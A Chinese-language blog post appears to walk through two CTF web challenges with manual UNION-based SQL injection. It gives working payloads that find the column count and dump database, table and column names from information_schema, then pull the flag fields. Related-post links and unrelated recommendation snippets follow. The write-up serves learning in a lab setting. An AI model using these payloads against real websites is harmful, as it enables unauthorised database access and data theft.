这几天在做CTF当中遇到了几次sql注入都是union,写篇博客记录学习一下。

首先推荐一篇文章“https://blog.csdn.net/Litbai_zhang/article/details/83869918”

再附上一张文章里面的图

接下来直接上题

1.这个看起来有点简单

题目连接:http://ctf5.shiyanbar.com/8/index.php?id=1

首先一进去看着那个表,和url里面的id=1,就感觉应该是SQL注入的题。

老样子,先把id=1,改成id=2,和id=3发现可以返回不同的数据。

然后 加个引号和注释号  id=1‘#,发现报错,由此确定是sql注入,并且应该是数字注入,不用闭合。

然后先确定列数,看图感觉是两列,再网址后输  id=1 order by2 ,返回正确,id=1 order by 3返回错误, 从而判断是两列。

好,接下来用union搞一搞,输入   id=-1 union select 1,2#  得到以下画面

这还能说啥,直接一波爆库名,爆表名,爆段名再说,

-1 union select -1,database()#

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #

答案字段应该是再thiskey里

-1 union select 1,group_concat(column_name) from information_schema.columns where table_name='thiskey' #

得到字段名 k0y

然后 -1 union select 1,k0y from thiskey#

拿到flag,  这道题也可以用sqlmap跑出来。

2.bugku成绩单

题目链接    http://123.206.87.240:8002/chengjidan/index.php

和上一道题很相似,所以依然按照步骤来就好,不过这里需要注意一下,当输入 1的时候,返回的是龙龙的成绩单,当加一个引号,不返回结果,然后再输入1‘# 则返回龙龙的成绩,很明显,这里需要闭合,是字符型的注入。

确定列数

1’ order by 5#返回错误, 1‘ order by 4 返回龙龙的成绩单,说明有 4列 。但是表格只有三列,所以先用 union select 1,2,3,4 来搞一下事情 ,输入-1' union select 1,2,3,4#   这里说一下为什么前面要用-1,这道题只会显示一行,如果用1的话,会显示龙龙的成绩,这里只会显示一行,所以要让第一行不显示,直接用-1。

发现第一列被隐藏了,所以后面要输入数据应该再二三四列显示。

ok 都到这一步了,接下来就直接爆库名这些了。。。

-1’ union select 1,database(),3,4#

-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3,4#

出现表名   fl4g

-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='fl4g'),3,4#

得到 字段名 skctf_flag

接下来      -1' union select 1,(select skctf_flag from fl4g),3,4#

拿到答案,当然这道题也可以用sqlmap跑出来,只不过这里是post传数据,要用bp和sqlmap一起结合而已。

还有两道题再下一篇博客写。。。。。

union注入的几道ctf题,实验吧简单的sql注入1,2,这个看起来有点简单和bugku的成绩单的更多相关文章

  1. 实验吧_简单的sql注入_1、2、3

    简单的sql注入1 看着这个简单的界面,一时间没有特别好的思路,先输入一个1',发生了报错 初步猜测这是一个字符型的注入,他将我们输入的语句直接当成sql语句执行了,按题目的意思后面肯定过滤了很多注入 ...

  2. 【实验吧】CTF_Web_简单的SQL注入之3

    实验吧第二题 who are you? 很有意思,过两天好好分析写一下.简单的SQL注入之3也很有意思,适合做手工练习,详细分析见下. http://ctf5.shiyanbar.com/web/in ...

  3. 实验吧简单的sql注入3

    今天早上起来发现有人评论说我没更新实验吧sql注入3,主要是因为前段时间都去做bugku去了 但是重做这道题发现以前的姿势不行了,exp()报错不再溢出,现在不能用这个姿势,所以这里重新整理了一遍思路 ...

  4. 实验吧之【简单的sql注入 1、2、3】

    实验吧的三道sql注入(感觉实验吧大部分web都是注入) 简单的SQL注入 地址:http://ctf5.shiyanbar.com/423/web/ 这道题也是sql注入,输入1,页面显示正常,输出 ...

  5. 实验吧简单的SQL注入1,简单的SQL注入

    接上面一篇博客. 实验吧简单的sql注入1 题目连接   http://ctf5.shiyanbar.com/423/web/ 同样,直接输入 1加个但引号,结果下面有返回错误,            ...

  6. 【实验吧】CTF_Web_简单的SQL注入之1

    题目链接:http://ctf5.shiyanbar.com/423/web/ 简单的SQL注入之1,比2,3都简单一些.利用2 的查询语句也可以实现:1'/**/union/**/select/** ...

  7. 实验八 Web基础 SQL注入原理

    实验八 Web基础 实验要求 (1)Web前端HTML 能正常安装.启停Apache.理解HTML,理解表单,理解GET与POST方法,编写一个含有表单的HTML. (2)Web前端javascipt ...

  8. 简单的SQL注入学习

    引贴: http://blog.163.com/lucia_gagaga/blog/static/26476801920168184648754/ 首先需要编写一个php页面,讲php页面放入/opt ...

  9. 实验吧—Web——WP之 简单的sql注入之2

    直接打开解题连接: 既然是SQL注入,那么我们就要构造注入语句了,这个就要有耐心一个一个去尝试了 输入语句 1'and 1=1 # 和 1'and/**/1=1/**/#后 对比一下,发现是过滤掉了空 ...

随机推荐

  1. 签名时出错: 未能对** SignTool Error:

    项目在vs2010创建,在2017上运行时报签名时出错.......... 解决方法: 右键项目 - 属性-签名 -  创建测试证书 - 密码可以为空-确定

  2. 父子间的通信,以及ref

    <!DOCTYPE html> <html> <head> <meta charset="utf-8" /> <title&g ...

  3. Android Gradle 学习笔记(四):Gradle 构建脚本

    本节我们从整体的角度来介绍一下Gradle. 一.setting.gradle 在Gradle中,定义了一个设置文件,用于初始化以及工程树的配置.设置文件的默认的名字就是setting.gradle, ...

  4. java中的IO流操作总结

    概要:

  5. 非法指令(Illegal Instruction)问题定位

    关键词:Illegal Instruction.SIGILL等. 进程在运行过程中会收到SIGILL信号,此类错误是由操作系统发送给进程的. SIGILL是某个进程中的某一句不能被CPU识别指令,这些 ...

  6. 关于JS 的原型和原型链

    原型 JavaScript规定,每一个函数都有一个prototype对象属性,指向另一个对象.prototype对象属性的所有属性和方法都会被构造函数的实例继承.这意味着我们可以把那些公用的属性和方法 ...

  7. day(66)作业

    <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...

  8. python 编程2

    一.课堂练习 描述 使用input输入若干个数,输出个数以及其中最大的数 1.普通方法实现 def max(*a): m=a[0] b=0 for x in a: if x>m: m=x b+= ...

  9. 使用VMware Workstation Player虚拟机安装Linux系统

    下载安装 VMware Workstation Player 首先下载并安装 VMware Workstation Player, VMware Workstation是一款非常强大的虚拟机软件,有p ...

  10. Rails + Webpacker + Puma + Nginx 部署

    准备 ssh 登录 首先 ssh 登录服务器,免密码登录可以参考 ssh 免密码登录服务器 创建部署用户 $ sudo adduser deploy 安装依赖 Ruby 这里使用 RVM 安装和管理 ...